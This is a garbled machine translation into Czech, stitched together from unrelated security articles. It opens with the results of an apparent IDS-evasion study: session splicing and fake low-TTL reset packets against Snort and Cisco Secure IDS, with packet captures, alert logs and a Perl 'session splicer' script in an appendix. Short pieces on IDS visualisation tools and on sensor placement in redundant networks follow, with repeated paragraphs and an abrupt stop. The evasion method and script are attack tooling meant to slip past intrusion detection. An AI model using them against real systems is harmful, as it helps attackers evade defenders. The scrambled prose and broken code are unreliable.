Snort Záznamy
Žádné nejsou k dispozici

V základních spojovacích zasedání útoků, kde hostitelé jsou umístěny na stejné vysílací domény je možné, aby se vyhnula IDS není pomocí výchozí jeden bajt spoj a oddálení útok významně. Důvodem odlišné Snort podpisy spustí, což může učinit útok se jeví jako méně ohrožující Je to z důvodu Snortâs pravidlo prvního výjezdu. Podezření, že jsem, že problém byl v tom, jak pravidla byla prochází detekční zařízení, pro srovnání. Jsem vyslán e-mail Snort-devel seznamu pošty a dostal tuto odpověď od Martin Roesch zakladatele Snort.

"Pokud chcete, aby jednobytové zjistí pro skutečné skripty, které jsou přístupné, vypnout pravidlo, že se děje off, to je Snort je" první exit "motor dělá to je práce. Chcete-li prodloužit dobu sledování pro sezení, zvyšte výchozí hodnotu časového limitu pro stream4 preprocesorem:

preprocesoru stream4: timeout 3600, detect_scans "

To pomáhá vysvětlit, proč by se různá pravidla Snortu spouštět za různých okolností. Udělal jsem nějaké základní testování s otáčením pravidel spojovacích relace a nastavení časový limit déle. Snort dělá lepší práci off detekci skutečný útok bez podpisu daňovým únikům. Nicméně, pravidlo brzký odchod stále způsobuje Unicode cmd.exe útok být viděn jako přístup skriptů a jiné útoky, například .ida být misdiagnosed v závislosti na tom, jak spoje spadnout a jejich načasování.

Zda se tyto metody jsou úspěšné, když IDS zaměstnává relace zpětná montáž je poněkud hostitelského systému a aplikace závislé. Při testování, Apache na RedHat sezení, time out za šest minut, zatímco IIS v systému Windows 2000 doesnât objeví vypršení časového limitu v nějakém rozumném množství času. Tento časový limit šesti minutách Apache činí doba úniky vychází obtížnější, pokud hostitel je na stejné vysílací domény jako oběti. Chcete-li odebrat doménu vysílání, webový server dostalo nový IP za routerem jednoho dalšího chmele ze snímačů.

Lab Setup 2

hostitel Typ	IP	Verze	Funkce
Snort Sensor	WXY122	Snort 1.8.6 / RH 7.2	IDS / Apache Web Server
Cisco Secure IDS	WXY123	3.1 Beta	IDS pouze
Windows Host IDS	WXY108	W2K Server / Entercept 2,01	IIS Web Server HIDS Agent
Cisco 3600 router	WXY125	IOS	router

Přístroje hostitelské obětí a IDS jsou nyní nejsou na stejné vysílací domény. Hostitelský oběť je nyní také navíc jeden hop pryč. Chcete-li pomoci urychlit test, jednoduchý zvyk podpis byl vytvořen na obou IDS zařízení k poplachu na URL foo.htm. To bylo provedeno, aby se zabránilo spuštění jakékoliv alarmy na Entercept HIDS činidla a aby se zabránilo první pravidla opuštění.

Test Podpis Snort:

alert tcp $ EXTERNAL_NET jakýkoliv -> $ HTTP_SERVERS 80 (msg: "WEB-IIS Kevin foo zkušební přístup"; flags: A +; uricontent: "foo.htm"; NOCASE; classtype: web-aplikací útok; SID: 1256; rev : 2;)

Test Podpis Cisco Secure IDS # 30001:

Motor STATE.HTTP SIGID 30001 AlarmThrottle FireOnce ChokeThreshold VŠECHNY DeObfuscate Pravda Směr ToService MinHits 1 ResetAfterIdle 15 ServicePorts 80,3128,8000,8010,8080,8888,24326 signame foo ThrottleInterval 15 UriRegex foo.htm

Chcete-li otestovat, zda zpětná montáž funguje dobře, a nebyly zjištěny žádné další problémy zakazující správné alarmující, rychlý test byl proveden odesláním 6 byte spojky rychle.

Obě zařízení řádně znepokojeni bez problémů.

Test 1: Sekce 1 Fast

18: 36: 12,746266 64.194.107.85.33296> WXY108.80: S 332613146: 332613146 (0) 5840 vyhrál <MSS 1460, sackOK, timestamp 78415572 [| tcp]> (DF) (ttl 64, číslo 49358, len 60)

18: 36: 12,906266 WXY108.80> 64.194.107.85.33296: S 2058514897: 2058514897 (0) ack 332613147 vyhrát 17520 <MSS 1460, NOP, wscale 0, nop, nop, timestamp [| tcp]> (DF) (TTL 116, id 2480, len 64)

18: 36: 12,906266 64.194.107.85.33296> WXY108.80:. [Tcp součet ok] ack 1 vyhraje 5840 <nop, nop, timestamp 78415588 0> (DF) (ttl 64, číslo 49359, len 52)

18: 36: 12,906266 64.194.107.85.33296> WXY108.80: P 1: 8 (7) ack 1 vyhraje 5840 <nop, nop, timestamp 78415588 0> (DF) (ttl 64, číslo 49360, len 59)

18: 36: 13,146266 WXY108.80> 64.194.107.85.33296:. [Tcp součet ok] ack 8 vyhrát 17513 <nop, nop, timestamp 90556 78415588> (DF) (ttl 116, id 2481, len 52)

18: 36: 13,906266 64.194.107.85.33296> WXY108.80: P 08:14 (6) ack 1 vyhraje 5840 <nop, nop, timestamp 78415688 90556> (DF) (ttl 64, číslo 49361, len 58)

18: 36: 14,156266 WXY108.80> 64.194.107.85.33296:. [Tcp součet ok] ack 14. vyhrát 17507 <nop, nop, timestamp 90566 78415688> (DF) (ttl 116, id 2482, len 52)

18: 36: 14,906266 64.194.107.85.33296> WXY108.80: P 14:20 (6) ack 1 vyhraje 5840 <nop, nop, timestamp 78415788 90566> (DF) (ttl 64, číslo 49362, len 58)

18: 36: 15,156266 WXY108.80> 64.194.107.85.33296:. [Tcp součet ok] ack 20 vyhrát 17501 <nop, nop, timestamp 90576 78415788> (DF) (ttl 116, id 2483, len 52)

18: 36: 15,906266 64.194.107.85.33296> WXY108.80: P 20:71 (51) ack 1 vyhraje 5840 <nop, nop, timestamp 78415888 90576> (DF) (ttl 64, číslo 49363, len 103)

18: 36: 16,156266 WXY108.80> 64.194.107.85.33296:. [Tcp součet ok] ack 71. vyhrát 17450 <nop, nop, timestamp 90586 78415888> (DF) (ttl 116, id 2492, len 52)

18: 36: 16,446266 WXY108.80> 64.194.107.85.33296:. 1: 1449 (1448) ack 71 vyhrát 17450 <nop, nop, timestamp 90587 78415888> (DF) (ttl 116, id 2493, len 1500)

18: 36: 16,446266 64.194.107.85.33296> WXY108.80:. [Tcp součet ok] ack 1449 vyhrál 8688 <nop, nop, timestamp 78415942 90587> (DF) (ttl 64, číslo 49364, len 52)

18: 36: 16,546266 WXY108.80> 64.194.107.85.33296:. 1449: 2897 (1448) ack 71 vyhrát 17450 <nop, nop, timestamp 90587 78415888> (DF) (ttl 116, id 2494, len 1500)

18: 36: 16,546266 WXY108.80> 64.194.107.85.33296:. 2897: 2921 (24) ack 71 vyhrát 17450 <nop, nop, timestamp 90588 78415888> (DF) (ttl 116, id 2495, len 76)

18: 36: 16,546266 64.194.107.85.33296> WXY108.80:. [Tcp součet ok] ack 2897 vyhrát 11584 <nop, nop, timestamp 78415952 90587> (DF) (ttl 64, číslo 49365, len 52)

18: 36: 16,546266 64.194.107.85.33296> WXY108.80:. [Tcp součet ok] ack 2921 vyhrát 11584 <nop, nop, timestamp 78415952 90588> (DF) (ttl 64, číslo 49366, len 52)

18: 36: 16,576266 WXY108.80> 64.194.107.85.33296: FP 2921: 3397 (476) ack 71 vyhrát 17450 <nop, nop, timestamp 90589 78415942> (DF) (ttl 116, id 2496, len 528)

18: 36: 16,576266 64.194.107.85.33296> WXY108.80: F [tcp součet ok] 71:71 (0) ack 3398 vyhrát 14480 <nop, nop, timestamp 78415955 90589> (DF) (ttl 64, číslo 49367, len 52)

18: 36: 16,656266 WXY108.80> 64.194.107.85.33296:. [Tcp součet ok] ack 72 vyhrát 17450 <nop, nop, timestamp 90590 78415955> (DF) (ttl 116, id 2497, len 52)

Cisco IDS Záznamy

4,1064599,2002 / 05 / 01,00: 33: 35,2002 / 04 / 30,19: 33: 35,10008,100,101, OUT, IN, 1,3000,80,
TCP / IP, 64.194.107.85, WXY108,33296,80,0.0.0.0,332613146

4,1064600,2002 / 05 / 01,00: 33: 36,2002 / 04 / 30,19: 33: 36,10008,100,101, OUT, IN, 4,30001,0,
TCP / IP, 64.194.107.85, WXY108,33296,80,0.0.0.0,474554202F666F6F2E68746D20ZZ

Snort Záznamy

04 / 30-19: 33: 46,690000 [**] [1: 1256: 2] WEB-IIS Kevin foo zkušební přístup [**] [Klasifikace: Web Application útok] [Priorita: 1] {TCP} 64.194.107.85: 33296 -> WXY108: 80

Obě zařízení upozorněni na vlastní podpisy při použití základních sestřihu relace technik. Zařízení Cisco upozornila na podpis 3000, který je TCP spojení a podpis 30.001, což je zvyk foo.htm podpis. To dokazuje zasedání zpětná montáž funguje správně na obou zařízeních. Následující úniky technika využívá vlastních problémů se sítí, jak je popsáno Newsham a Ptáček [1] a Vern Paxson a Mark Handley ve svém příspěvku âNetwork Intrusion Detection: Evasion, dopravní normalizace, a End-to End Protocol Semanticsâ [4]. Následující test byl proveden.

Falešná resetuje

Abychom pochopili falešný resetu, základní princip je poslat paket resetovací s nízkou hodnotou TTL určené k hostiteli, že IDS budou vidět a pochopit jako demontáže relace ale bude časový limit před hostitele. Následující protokoly jsou z falešné resetu, který je Snort a Cisco jsou oba náchylné k. Existují i další únikové metody podobné tomuto, který může být použit, když je hostitel více skoky pryč. Tyto techniky spojování všech využít falešného časování paketů ven, než se dostane k hostiteli. Použití těchto technik může poslat na více paketů, které obsahují stejná data v naději, že IDS budou používat nesprávné údaje k provedení analýzy. Byly testovány pouze falešné vynulování pakety, protože všechny techniky fungují na stejném předpokladu. Všimněte si, že načasování byl stanoven delší časový limit dát sám času na utváření paket RESET pomocí HPING2. Vložený vynulují a jeho přidružené odpověď (od směrovače ICMP TTL překročena zprávy) jsou zvýrazněny červenou barvou.

Test 2: Fake Obnovit Úspěšné

18: 43: 34,316266 64.194.107.85.33298> WXY108.80: S 788083420: 788083420 (0) 5840 vyhrál <MSS 1460, sackOK, timestamp 78459729 [| tcp]> (DF)

18: 43: 34,386266 WXY108.80> 64.194.107.85.33298: S 2169462490: 2169462490 (0) ack 788083421 vyhrát 17520 <MSS 1460, nop, wscale 0, nop, nop, timestamp [| tcp]> (DF)

18: 43: 34,386266 64.194.107.85.33298> WXY108.80:. ack 1 vyhraje 5840 <nop, nop, timestamp 78459736 0> (DF)

18: 43: 34,386266 64.194.107.85.33298> WXY108.80: P 1: 8 (7) ack 1 vyhraje 5840 <nop, nop, timestamp 78459736 0> (DF)

18: 43: 34,596266 WXY108.80> 64.194.107.85.33298:. ack 8 vyhrát 17513 <nop, nop, timestamp 94970 78459736> (DF)

18: 43: 57,116266 64.194.107.85.33298> WXY108.80: R 788083428: 788083428 (0) vyhrát 512

18: 43: 57,196266 WXY125> 64.194.107.85: ICMP: Doba překročení [tos 0xc0] in-transit

18: 44: 04,386266 64.194.107.85.33298> WXY108.80: P 08:14 (6) ack 1 vyhraje 5840 <nop, nop, timestamp 78462736 94970> (DF)

18: 44: 04,636266 WXY108.80> 64.194.107.85.33298:. ack 14 vyhrát 17507 <nop, nop, timestamp 95271 78462736> (DF)

18: 44: 34,386266 64.194.107.85.33298> WXY108.80: P 14:20 (6) ack 1 vyhraje 5840 <nop, nop, timestamp 78465736 95271> (DF)

18: 44: 34,586266 WXY108.80> 64.194.107.85.33298:. ack 20 vyhrát 17501 <nop, nop, timestamp 95570 78465736> (DF)

18: 45: 04,386266 64.194.107.85.33298> WXY108.80: P 20:71 (51) ack 1 vyhraje 5840 <nop, nop, timestamp 78468736 95570> (DF)

18: 45: 04,566266 WXY108.80> 64.194.107.85.33298:. 1: 1449 (1448) ack 71 vyhrát 17450 <nop, nop, timestamp 95868 78468736> (DF)

18: 45: 04,566266 64.194.107.85.33298> WXY108.80:. ack 1449 vyhrát 8688 <nop, nop, timestamp 78468754 95868> (DF)

18: 45: 04,666266 WXY108.80> 64.194.107.85.33298:. 1449: 2897 (1448) ack 71 vyhrát 17450 <nop, nop, timestamp 95868 78468736> (DF)

18: 45: 04,666266 WXY108.80> 64.194.107.85.33298:. 2897: 2921 (24) ack 71 vyhrát 17450 <nop, nop, timestamp 95868 78468736> (DF)

18: 45: 04,666266 64.194.107.85.33298> WXY108.80:. ack 2897 vyhrát 11584 <nop, nop, timestamp 78468764 95868> (DF)

18: 45: 04,666266 64.194.107.85.33298> WXY108.80:. ack 2921 vyhrát 11584 <nop, nop, timestamp 78468764 95868> (DF)

18: 45: 04,696266 WXY108.80> 64.194.107.85.33298: FP 2921: 3397 (476) ack 71 vyhrát 17450 <nop, nop, timestamp 95870 78468754> (DF)

18: 45: 04,706266 64.194.107.85.33298> WXY108.80: F 71:71 (0) ack 3398 vyhrát 14480 <nop, nop, timestamp 78468768 95870> (DF)

18: 45: 04,776266 WXY108.80> 64.194.107.85.33298:. ack 72 vyhrát 17450 <nop, nop, timestamp 95871 78468768> (DF)

Cisco IDS Záznamy

4,1064610,2002 / 05 / 01,00: 40: 56,2002 / 04 / 30,19: 40: 56,10008,100,101, OUT, IN, 1,3000,80,
TCP / IP, 64.194.107.85, WXY108,33298,80,0.0.0.0,788083420

4,1064611,2002 / 05 / 01,00: 41: 30,2002 / 04 / 30,19: 41: 30,10008,100,101, IN, OUT, 1,2005,0,
TCP / IP, WXY125,64.194. 107.85,0,0,0.0.0.0,

Snort Záznamy

Žádné nejsou k dispozici

Obě IDS zařízení byla náchylná k tomuto falešný útok reset. Snort přihlášen nic, zatímco Cisco Secure IDS zaznamenána pouze požadavek na podpis 3000 připojení a 2005 ICMP o nedosažitelnosti cíle zprávy. Je třeba poznamenat, že vývojáři Snort jsou v současné době pracuje porazit tento styl sítě úniků za použití přiřazení minimální TTL potřebný pro montáž relace. Hodně z tohoto byl tažen nedávné propuštění nástroj podle Dug Song s názvem Fragroute [5], který testuje mnoho problémů fragmentace popsaných Newsham a Ptáček [1].

Závěr:
Několik různých sestřih relace únikům techniky bylo prokázáno, s různou mírou úspěšnosti. Většina z technik, které jsou k dispozici s fragmentací lze do určité míry s sestřihu. Následující tabulka shrnuje některé podobnosti mezi fragmentací a sestřihu a označuje, zda bych měl nějaký úspěch v omezeném testování.

Srovnání fragmentace a relace sestřih únikům technik:

Technika	roztříštění	Session Sestřih	Úspěšní v omezeném testování
Dělení užitečné zatížení	Ano	Ano	Omezený
Data přepsání	Ano	Ano	Netestován
Data vložení	Ano	Ano	Netestován
Fake Obnovit teardown	Ano	Ano	Ano
Opožděná dodávka	Omezený	Ano	Ano
Trigger méně výhružné pravidla	Ano	Ano	Ano

Skutečností je, že mnoho problémů na úrovni sítě stále existují a jsou velmi obtížné pro zařízení zvládnout bez dopravního normalizace, pokud přístroj používá âbifurcating analysisâ [4] techniky, což znamená, že v případě, že IDS detekuje provoz, který má možné rozmanité výklady se bude vztahovat na všechny výklady analýza a alarm případně odpovídat podpis. Přesto je použití spojovacích relace časových limitů představuje jedinečný problém pro IDS. V případě, že operační systém hostitel udrží naživu relace po velmi dlouhou dobu, než IDS musí udělat totéž. IDS návrháři v poslední době dělali obrovské pokroky v porážet únikové metody string odpovídající; Nyní techniky úrovni sítě jsou řešeny.

Odkazy
[1] Ptáček, Tomáš a Newsham, Timothy vložení, Evasion, a Denial of Service: unikal Network Intrusion Detection ledna 1998. URL: http://secinf.net/info/ids/idspaper/idspaper.html
[2] štěně, Rain Forest Pohled na whiskerâs taktiky anti-IDS 24. prosince 1999. URL: http://www.wiretrip.net/rfp/pages/whitepapers/whiskerids.html

[3] Arboi, Michel a Deraison, Renaud Použití Nessusâs NIDS úniky vybaven 2002, URL: http://www.nessus.org/doc/nids.html~~HEAD=dobj

[4] Handley, Mark Paxson, Vern a Kreibich, Christian Network Intrusion Detection: Evasion, Traffic normalizace, a End-to-end Protokol Semantics 22. května 2001. URL: http://www.icir.org/vern/papers/norm-usenix-sec01-html

[5] Song, Dug Fragroute , duben, 2002. URL: http: // www. monkey.org/~dugsong/fragroute/

Dodatek A: Splicer.pl

# / usr / bin / perl!
Použití Socket;
použijte getopt :: Std;

vyžadují "getopts.pl ';
getopts ( 'h: t: s: r:');
if (! $ opt_h || $ opt_t || $ opt_r!) {
     & využití ();
     exit 1;
}

Využití sub {
     print "\ tUSAGE: sesazovačka -h -r -t -s \ n \ n";
     print "\ t ************ Poznámky *********** \ n";
     print "\ t *** Apache časový limit na nedokončené žádosti v 6. minutě \ n";
     print "\ t *** IIS nezdá mít takový časový limit \ n";
     print "\ t *** Není-li zadán velikost spoj vyšle 1 byte v čase \ n \ n";
}

If ($ opt_s == NULL) {
     $ opt_s = 1;
}

$ Host = $ opt_h;
Velikost $ = $ opt_s;
$ req = "GET $ opt_r HTTP / 1.0 \ r \ n";
$ time = $ opt_t;

$ header = "Host: $ host \ r \ nUser-Agent: Session-Splice \ r \ n \ r \ n";

@ greq = (Split // $ req);
zásuvka (SERVER, PF_INET, SOCK_STREAM, getprotobyname ( "tcp"));
$ addr = sockaddr_in (80, inet_aton ($ host));
connect (SERVER, $ addr);
výběr (SERVER); $ | = 1;
výběr (STDOUT);
$ i = 0;

# Odeslat paket
foreach $ char (@greq) {

     žvýkat $ char;
     if ($ i == velikost $) {
     push (@ nové, $ char);
     Tiskový server @new;
     vyberte (undef, undef, undef, $ času);
     $ i = 0;
     $ i ++;
     $ # nové = -1;
     } Else {
         push (@ nové, $ char);
         $ i ++;

     }
}
Tiskový server "záhlaví $";

# Analyzovat naši requesr
dělat {
     $ řádek = <SERVER>
     }
     dokud ($ linie = ~ / ^ \ r \ n /);
     @output = <SERVER>;
     close (SERVER);
     print "@output \ n";

Existují nástroje pro vizualizaci dat ze systému detekce narušení?

Úvod

systémy detekce průniku (IDS) a systémy pro ochranu proti narušení (IPS) poskytují cenné ochranné mechanismy na provozních podmínkách: první vlajky anomálie jako pasivní posluchač, zatímco druhá je navržen tak, aby reagovala na zjištěné anomálie tím, že blokuje nežádoucí provoz.

Kromě těchto základních funkcí, informace shromážděné ze systémů IDS / IPS může být také použit na pomoc ilustraci a charakterizovat trendy, zajímavých událostí a nehod prostřednictvím schopnosti vizualizace dat.

Pokládka nadaci

Informační systémy generují protokoly, včetně bezpečnostních systémů určeného jako je IDS a IPS systémů, za předpokladu, že jsou konfigurovány tak učinit. V případě IDS / IPS, protokolování může poskytnout zajímavé informace o tom, co tyto systémy vidět přes drát. Za použití standardního formátu paketu pro digitalizaci, jako je PCAP, může několik řešení třetích stran účinně pomáhat bezpečnostní profesionál, při četbě těchto zachycování paketů souborů a renderování grafické znázornění, které mohou určit problémy nebo spoušť následné vyšetřování.

Podpora PCAP musí být zavedena na úrovni jádra, a je dělán tím, že instaluje komponenty jako libpcap (pro platformy Unix / Linux) nebo WinPcap (pro platformy Windows).

Příklady IDS / IPS dat vizualizátory

EtherApe je v současné době beta-level, open source projekt, Unix, který čte živé dopravní nebo paketové souborů zachycení, a poskytuje informace ve formátu, který směruje pozornost vztahům mezi systémy. To používá barvu přitáhnout pozornost k informacím zájmu, podporuje rozlišení názvů a může být nakonfigurován tak, aby filtrování paketů, takže je možné během vyšetřování drill-down.

NetGrok je implementace Java založené na které lze spustit na jakémkoli operačním systému, který podporuje Javu. Také podporuje monitorování a čtení souborů zachycování paketů v reálném čase, tento projekt pocházející z University of Maryland vidí síťové komunikace z hlediska vnitřní sítě a provádí kódováním barev založený na rychlosti sítě.

TNV je další univerzitní založené na OS-agnostik údaje visualizer založený na Javě. Sdružuje vzdálené počítače na jedné straně obrazovky s počítači v lokální síti a na druhé straně s podrobnostmi (předložená ve formátu tabulky), zobrazí se mezi nimi. Výběrem buňky v tabulce, relevantní informace spojené se vstupem je zvýrazněna na obrazovce.

Závěr

Obraz je obecně považován za vydá za tisíc slov. Využitím síly nástrojů vizualizace síťového provozu k tomu, aby vzorek nebo podezřelý dat v jediném grafickém zobrazení, bezpečnostní analytik je nejen schopen zaostřit zkušené oko do oblasti zájmu, ale je také schopen filtrovat data a provádět dotazy na jednání stisknutím tlačítka myši. Mnoho z dnešních vizualizačních nástrojů podporovat formát zachytávání paketů PCAP, což umožňuje bezpečnostní analytik mít sadu takových nástrojů, které mají k dispozici, přičemž každý z nich poskytuje jedinečný pohled na (síťového provozu) okamžik v čase.

Jak umístit čidlo Intrusion Detection System v redundantních sítích?

By: Chris Calabrese

Souvislosti a informace

IDS svět se konečně dostal své paže kolem přešel LAN, ale co sítích s redundantními komponenty? Jak víte, že jste viděli všechny útoky?

Tento dokument se zabývá obvyklými formami síťovou redundanci, strategie pro uvádění síťových IDS sondy v redundantních sítích a účinnosti těchto strategií.

Cílem je, aby jediný IDS sonda vidět všechny přenosy spojené s konkrétním útokem z jednoho hostitele na druhého bez ohledu na to, kolik paketů útok trvá, kolik úrovni sítě "sessions" útok trvá, nebo co síťové cesty pakety procházejí.

Redundantní Síťové prvky

Následující tabulka uvádí taxonomii redundantních síťových prvků budeme zvažovat v tomto článku:

Jak umístit senzor IDS v redundantních sítích?
Chris Calabrese Souvislosti a IDS svět se konečně dostal své paže kolem přešel LAN, ale co sítích s redundantními komponenty? Jak víte, že jste viděli všechny útoky?

Tento dokument se zabývá obvyklými formami síťovou redundanci, strategie pro uvádění síťových IDS sondy v redundantních sítích a účinnosti těchto strategií.

Cílem je, aby jediný IDS sonda vidět všechny přenosy spojené s konkrétním útokem z jednoho hostitele na druhého bez ohledu na to, kolik paketů útok trvá, kolik úrovni sítě "sessions" útok trvá, nebo co síťové cesty pakety procházejí .. redundantní Síťové prvky Následující tabulka uvádí taxonomii redundantních síťových prvků budeme zvažovat v tomto článku:

Redundantní Síťové prvky
	Failover přístupu k síti	Několik bodů přístupu k síti	Vícenásobný přístup, single adresa
System / Node Dostupnost	Systém s failover mezi mezi kartami síťového rozhraní (NIC)	NIC multi-pathing prostřednictvím inzerátů trasy	NIC multi-pathing přes switch reklamy link-agregace
aplikace Dostupnost	Cluster s failover IP adresy	Cluster s nezávislými IP adres (např DNS secondaries)	Cluster se sdílenou IP adresy (například pomocí zatížení webový server pro vyrovnávání)
síť Dostupnost	Několik síťové přepínače	Paralelní síť tras	Cluster transparentních, stavových směrovacích prvků (tj vyrovnáváno zatížení firewally)

Všimněte si, že tyto prvky jsou kolmé a mohou být libovolně kombinovány. Nicméně, bylo by neobvyklé spojit dva prvky z jedné řadě, jako je například NIC selhání a směrování založené na NIC multi-sledování cesty, neboť jsou to zaměřené na stejný účel.

Zbytek této části slouží jako stručný úvod k tomu, jak tyto prvky fungují, jak jsou užitečné a a jejich výzvy pro umístění senzorů IDS.

NIC failover

S NIC selhání, individuální uzel sítě (obvykle server nebo router) má několik odkazů na jeho LAN (nebo sítí LAN) přes redundantní NIC, které umožňují převzetí služeb při selhání síťové adresy systému (es) z primárního NIC na sekundární NIC. To může zajistit, že systém pokračuje v činnosti tváří v tvář selhání NIC.

V tomto scénáři failover software na síťovém uzlu sám zjistí, že je primární NIC je nefunkční, de-nakonfiguruje jej z používání na úrovni operačního systému a nakonfiguruje sekundární NIC na jeho místo. V sofistikovanější implementacích, budou oba IP adresa a MAC adresa selhání, což je sekundární NIC začít mluvit v síti okamžitě. V méně náročných implementací bude pouze IP adresa převzetí, což způsobuje zpoždění jako ARP ukládá časový limit.

Budeme-li předpokládat, že je velmi nepravděpodobné, NIC selhání ve středu útoku, pak se IDS umístění úkolem je zajistit, že provoz do / z obou NIC je pokryta, ale ne nutně ve stejném IDS sondy.

NIC multi-pathing prostřednictvím inzerátů trasy

S NIC multi-sledování cesty obecně, individuální uzel sítě (obvykle server nebo router) má více odkazy na své síti (LAN nebo je) přes redundantní NIC je v provozu paralelně. To umožňuje vyšší propustnost sítě ve srovnání s NIC selhání.

S multi-pathing prostřednictvím inzerce trasy, systém má jednu IP adresu za NIC a inzeruje trasy do svých různých IP adres prostřednictvím každé ze svých dalších IP adres. Solaris 8, například to tím, že odpovídajícím způsobem reagovat na požadavky Router Discovery Protocol [ 1 ].

IDS výzvu s multi-pathing prostřednictvím inzerátů trasa je určena pro jedno IDS sonda vidět všechny provoz v síti bez ohledu na to, která NIC provoz se chystá. V opačném případě by IDS muset udělat složité korelace multi-sondy postavit jeden útok.

Multi-pathing přes switch reklamy link-agregace

To je velmi podobné multi-sledování cesty prostřednictvím inzerce trasy, ale zde je systém inzeruje cesty k sobě na spínací úrovni namísto na úrovni směrování. Implementace HP-UX, například používá Fast etherchannel protokol Cisco říci přepínač, jak posílat pakety MAC adresu systému (es) [2].

IDS úkolem je stejný jako u multi-pathing prostřednictvím inzerátů trasy.

failover clustering

S failover clustering, síťových uzlů (servery, routery, firewally atd) může převzít navzájem síťových adres, pokud držitel primární adresa selže. To je podobné odolnosti proti selhání NIC scénáře popsaného výše, ale s failover děje na úrovni celé-stroj, spíše než na úrovni NIC. Stejně jako u NIC selhání, jen IP adresy nebo adres IP a MAC může selhat přes závislosti na sofistikovanost softwaru. To může zajistit, že klíčovou službou pro pokračuje v činnosti tváří v tvář selhání serveru.

Budeme-li předpokládat, že je velmi nepravděpodobné, aby se systém selhání ve středu útoku, ledaže v důsledku útoku, pak se IDS umístění úkolem je zajistit, aby provoz na / z obou systémů je pokryta, ale že provoz všem členové klastru musí být zahrnuty do jedné IDS sondy.

Nezávislý IP clustering

S nezávislým IP clustering, každý systém v clusteru má svou vlastní unikátní IP adresu, a klientské aplikace se musí rozhodnout, jak distribuovat zatížení mezi různými servery. To je základem DNS shlukování (klient choses mezi více serverů DNS, které jsou autoritativní pro doménu) a SMTP shlukování (klient choses mezi více serverů SMTP, které mají MX záznamy v doméně) [ 3 ].

IDS umístění výzvou s nezávislým IP shlukování je zajistit, aby jedna sonda, vidí veškerý provoz pro konkrétní pár zdroj / cílové adresy. To může vyžadovat více sond v případě, že systémy jsou geograficky různorodé.

Sdílené IP clustering

Díky sdílené IP shlukování, externí Vyrovnávání zatížení se používá k distribuci žádosti zaslané do sdíleného / síťovou adresu virtuálního na více serverů. Každý server v clusteru má svou vlastní jedinečnou / skutečnou IP adresu a doprava mezi Vyrovnávání zátěže a reálné servery, aby reflektoval tyto adresy spíše než sdílené adresy. To je, jak nejpopulárnější webový server vyrovnávání zatížení systémy fungují.

IDS umístění výzva se společným IP shlukování je zajistit, aby jedna sonda, vidí veškerý provoz na dvojici konkrétní zdroj / cílové adresy (tj veškerý provoz na jednom útoku). Nicméně, pokud budeme předpokládat, že vyrovnávání zatížení udržuje veškerý provoz z určitého zdroje jít do určitého místa určení tak dlouho, jak že cíl je stále naživu, a pokud budeme dále předpokládat, že je to velmi nepravděpodobné, pro server jít dolů během útoku kromě jako výsledkem útoku, než to zkolabuje ke všem dopravy pro konkrétní zdroj bez ohledu na to, který server vyrovnávání zatížení rozhodl poslat provoz.

několik přepínačů

Pouze s několika manipulaci ve stejném segmentu sítě není sama o sobě, aby se přepne propuštěni, nebo přispívají k vyšší dostupnosti síťových přepínačů. Ale několik přepínačů může být kombinován s redundantní NIC, selhání, směrovače, atd. Tak, že síť zůstane v případě poruchy jednoho spínače.

IDS umístění úkolem je zajistit, aby všechna data ze všech spínačů je viděn IDS sond.

paralelní trasy

V tomto scénáři síť může mít redundantní odkazy interně (tzn, že se nejedná o strom / hierarchie), nebo mít více spojení s okolním světem (tj více ISP odkazy). To se obvykle používá k zajištění toho, aby připojení k síti může přežít pouze jedna linka je dolů a také zvýšit propustnost sítě.

IDS umístění úkolem je zajistit, že jediná sonda vidí veškerý provoz, který může proudit mezi konkrétní zdroj / cílové páru tak, aby vzájemný vztah multi-sonda není nutné vybudovat jeden záchvat.

Vyrovnáváním zatížení firewally

To je podobné jako sdílené scénáře IP clustering, ale zde se zatížení balancery jsou umístěny jak před a za farmy firewall. To se používá jak zajistit, aby připojení k síti zůstane tváří v tvář selhání firewall a zvýšit celkovou propustnost přes farmu brány firewall.

IDS umístění úkolem je zajistit, že jediná sonda vidí veškerý provoz související s konkrétním útoku, a proto konkrétní IP zdroj / cílové páru. Nicméně, podobně jako sdílený scénář IP clustering, load balancers udržet veškerý provoz pro určitý zdroj / cílové dvojice prochází stejným firewall tak dlouho, dokud firewall je naživu, a pokud budeme dále předpokládat, že je to velmi nepravděpodobné, firewall jít dolů při útoku, kromě v důsledku útoku, než jeden útok bude vázána na jeden firewall.

Strategie IDS umístění

V této části budeme uvažovat následující strategie umístění:

1. Single-segmentu IDS sonda umístěna mimo oblast redundance

2. Více single přestupem sondy

3. Multi-Segment sonda

4. Více s přestupem sondy

Single-segmentu IDS sonda umístěna mimo oblast redundance

Jediný IDS sonda se používá, ale umístit opatrně, aby se zabránilo problémům zavedené redundantních síťových prvků. Sonda by mohlo být univerzální systém běží software, IDS, účelový IDS spotřebič nebo speciálního určení IDS kartu pro síťový přepínač, jako je Cisco Catalyst 6000 IDS Module [4S] nebo narušení, Inc. je SecureCom 6000 řada [5].

Úkolem je najít místo, kde se IDS sonda může vidět veškerý provoz. Níže uvedená tabulka ukazuje, kde sonda může být umístěna při použití s různými redundantních síťových prvků. Pamatovat při čtení tabulky se však, že tyto prvky jsou ortogonální, takže místo může být použita pouze v případě, že funguje pro všechny redundantních prvků v síti. Například přepínač SPAN portů funguje pouze tehdy, pokud máte jeden přepínač nebo pokud jsou přepínače máte podpora multi-switch klenout.

Redundantní Network Element	IDS sonda Umístění
Failover NIC	Přepnutí SPAN portu
NIC multi-pathing	Přepnutí SPAN portu
failover Cluster	Přepnutí SPAN portu
Nezávislý IP clusteru	Přepnout SPAN portu, ne-li geograficky různorodé
Cluster Shared IP	V přední části vyrovnávání zatížení
několik přepínačů	Multi-switch SPAN portu
paralelní trasy	Ať už je součástí sítě není paralelní, pokud existuje
Vyrovnáváním zatížení firewally	Před nebo za celý cluster

Aswitch SPAN port je nastavit port přepínače sítě tak, aby, že přepínač kopíruje všechny pakety cestují přes Swich (nebo konkrétní VLAN nebo sada VLAN je) k tomuto portu. To je někdy označován jako zrcadlení portů, i když technicky, že se odkazuje na kopírování pakety z jednoho konkrétního přístavu do druhého, spíše než kopírování všech paketů ze všech portů.

Multi-switch SPAN portu odkazuje na SPAN port, který vidí data z více přepínačů. Tímto způsobem jeden IDS sonda může vidět rozpětí provoz z více přepínačů. Verze chudáka toho je pro připojení SPAN port přepínače jedné do jiné přepínače, ale to může být těžkopádný a způsobit problémy s výkonem a zpoždění. Některé high-end přepínačů, jako například 6000 rodiny Cisco Catalyst přepínačů mají nativní podporu pro inter-switch překlenutí přes běžné inter-switch páteřních spojů [6].

Více single přestupem sondy

